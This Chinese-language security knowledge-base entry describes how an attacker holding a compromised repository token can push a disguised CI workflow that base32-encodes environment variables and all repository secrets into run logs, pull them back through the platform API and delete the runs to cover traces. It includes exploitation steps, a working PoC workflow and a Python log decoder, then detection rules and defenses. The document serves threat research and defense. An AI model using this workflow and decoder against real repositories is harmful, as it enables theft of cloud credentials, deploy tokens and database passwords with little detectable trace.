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托管 CI 平台作无 C2 回传信道:恶意 workflow 将 env 与 toJSON(secrets) base32 编码写入运行日志再经 API 取回

cloud/ci-cd · verified

一句话结论

攻击者只要持有具备仓库写权限的失陷令牌,就可在新分支 push 一个 on: [push]、permissions: {} 的十几行 workflow,把 env 与 toJSON(secrets) 用 base32 编码打印进运行日志,再用同一令牌经平台 API 下载日志、解码还原全部仓库密钥并删除运行;整条链路没有攻击者服务器、没有外部域名,控制面与数据面都复用托管平台自身的合法通道。

原理

  • 权限模型:平台文档确认,具备仓库写权限者可以读取该仓库配置的全部 secrets。攻击者不需要漏洞或提权,只需要令牌能向目标仓库写入 workflow 文件;一次普通 push 就能触发作业。
  • 控制面:向新分支提交 .github/workflows/sync-check.yml,提交信息伪装成 ci: sync config。平台侧看到的是令牌主人发起的一次正常提交,permissions: {} 进一步降低人工审计与自动化扫描的可疑度——它限制的是作业自带的 GITHUB_TOKEN 权限,与 secrets 上下文的读取毫无关系。
  • 数据面:作业把环境变量和 toJSON(secrets) 整个 JSON 用 base32 -w 120 编码后打印到运行日志。平台的日志脱敏是字符串层面的 best-effort 替换,只预计算密钥原值及其标准 base64 变体;base32 不在变体集合内,因此编码后的完整密钥 JSON 原样落进日志(详见 [[cloud-cicd-log-masking-bypass-base32-variant-threshold]])。
  • 取回:运行日志是平台内部对象,攻击者用同一令牌经平台 API 列出运行、下载 job 日志,按 base32 填充符 = 切分多条编码流、解码、还原 JSON。出站目标是平台自己的 API 域名,与开发者日常拉取代码的流量同域名、同证书、同 API。
  • 为什么难检测:没有攻击者基础设施,域名信誉、出网目的地、异常进程树三类抓手同时失效;日志下载与运行删除都在平台内部,删除运行还能抹掉部分取证痕迹。但密钥在作业执行时已离开 secrets 存储,删除分支/运行不能止损,唯一有效处置是轮换。
  • 触发边界:GitHub 自 2026-07-28 起对公开仓库的可疑工作流运行施加协作者审批闸门,但该闸门不覆盖私有仓库与 GitHub Enterprise Server;企业生产凭据通常正在私有仓库中。

触发条件

  • 持有失陷的个人访问令牌/机器人令牌,且对至少一个仓库具备写权限(可 push 分支与 workflow 文件)。
  • 目标平台启用 Actions(GitHub Actions、Gitea Actions 或兼容实现),且 push 事件可直接触发作业;私有仓库/GHES 无公开仓库的审批闸门。
  • Runner 可执行 shell 且允许 env、base32 等基础命令(默认 ubuntu-latest 满足)。
  • 作业能读取 secrets 上下文;环境级密钥可通过环境矩阵一并枚举。

利用步骤

  1. 用令牌枚举可达仓库,筛选 Actions 开启且可写 workflow 的私有仓库。
  2. 创建 ci-sync- 加六位随机字符的分支(如 ci-sync-9d4c07),提交 .github/workflows/sync-check.yml,提交信息写成 ci: sync config 之类无害文本。
  3. push 触发作业;workflow 执行 env | base32 -w 120 与 echo -n '${{ toJSON(secrets) }}' | base32 -w 120,两段编码流以 = 填充符分段。
  4. 轮询运行列表,下载对应 job 日志(Gitea:GET /api/v1/repos/<owner>/<repo>/actions/jobs/<id>/logs;GitHub 对应 Actions logs API),UA 可伪造成普通客户端。
  5. 按行收集 [A-Z2-7=]+ 内容,遇 = 结尾即切分为一个 base32 块;分别解码 env 与 secrets 两段,还原 JSON 得到全部密钥(含运行时注入的 ACTIONS_RUNTIME_TOKEN、GITEA_TOKEN/GITHUB_TOKEN)。
  6. 视需要删除运行与分支以减少可见痕迹;随后用窃得的云凭据、部署令牌、数据库口令横向移动。

PoC

name: sync-check
on: [push]
permissions: {}
jobs:
  sync:
    runs-on: ubuntu-latest
    timeout-minutes: 6
    steps:
      - name: build
        run: |
          env | base32 -w 120
          echo -n '${{ toJSON(secrets) }}' | base32 -w 120
import re

def split_b32_blocks(log_text):
    blocks, buf = [], ""
    for line in log_text.splitlines():
        s = re.sub(r"^\S+Z\s+", "", line).strip()   # 去掉 runner 时间戳前缀
        if s and re.fullmatch(r"[A-Z2-7=]+", s):
            buf += s
            if s.endswith("="):
                blocks.append(buf)
                buf = ""
    if buf:
        blocks.append(buf)
    return blocks
# 原文实测:一次运行日志 9984 字节,两条 base32 流 4072/1192 字符,
# 还原 9 个 secrets + 66 个环境变量,全程无外部主机。

变体与关联

  • 替代信道容量:分支名单条约 85 字符密文(100 字符接受、101 字符 HTTP 422),要带走一次日志的 5264 字符需约 62 条分支;提交信息单次实测可写 8000 字符,一次提交即可带走全部密钥。分支数异常只能指示规模化战役,不是外带行为的必要特征。
  • 环境级密钥:仓库配置部署环境时,用环境矩阵遍历各环境,把环境级 secrets 一并扫出。
  • 编码变体:base64/hex/反转/大小写互换/分片等在特定条件下也可能逃过脱敏;base32 因不在预计算集合且字母表可安全进入 ref/URL 而被选用。见 [[cloud-cicd-log-masking-bypass-base32-variant-threshold]]。
  • 平台差异:GitHub 公开仓库有审批闸门,私有仓库与 GHES 不受覆盖;Gitea 28.2.0 + gitea-runner 5.2.2 为原文复现环境,机制同构。
  • 关联:[[cloud-cicd-github-actions-pull-request-target-checkout-rce]](另一类 Actions 滥用)。

检测与防御

  • 检测:
  • D1 工作流文件突变:遍历非默认分支,对 .github/workflows/ 文件清单与默认分支做差集,新增即告警;同时匹配 ci-sync-* 等分支命名。
  • D3 工作流内容静态规则:run 块同时出现 secrets 上下文与编码命令(base32/base64/od/rev/tr/fold)即判严重(存在合法误报,需结合变更来源降噪)。
  • 金丝雀解码比对:日志落库后先解 base32/base64 再找金丝雀明文,命中即视为泄露(与攻击者编码无关)。
  • 行为序列:同一账号短时间内“下载 actions/jobs/*/logs 后删除该次运行”关联告警;平台默认访问日志可能不记录 User-Agent,gheist 这类 UA 字符串在自建实例上可能零命中。
  • 防御:对 .github/workflows/ 设 CODEOWNERS 与强制评审,限制谁能写 workflow;收敛令牌作用域与有效期,自动化账号单独建号并限制可达仓库;生产凭据下移到部署环境并隔离默认环境;每个重要仓库部署业务不引用的金丝雀密钥并做解码后比对;发现异常后立即轮换全部可达密钥并吊销令牌,删除分支/运行不构成止损。
  • 认知:不要把日志脱敏当安全边界;它是显示层字符串处理,选一个不在变体集合内的编码即可绕过。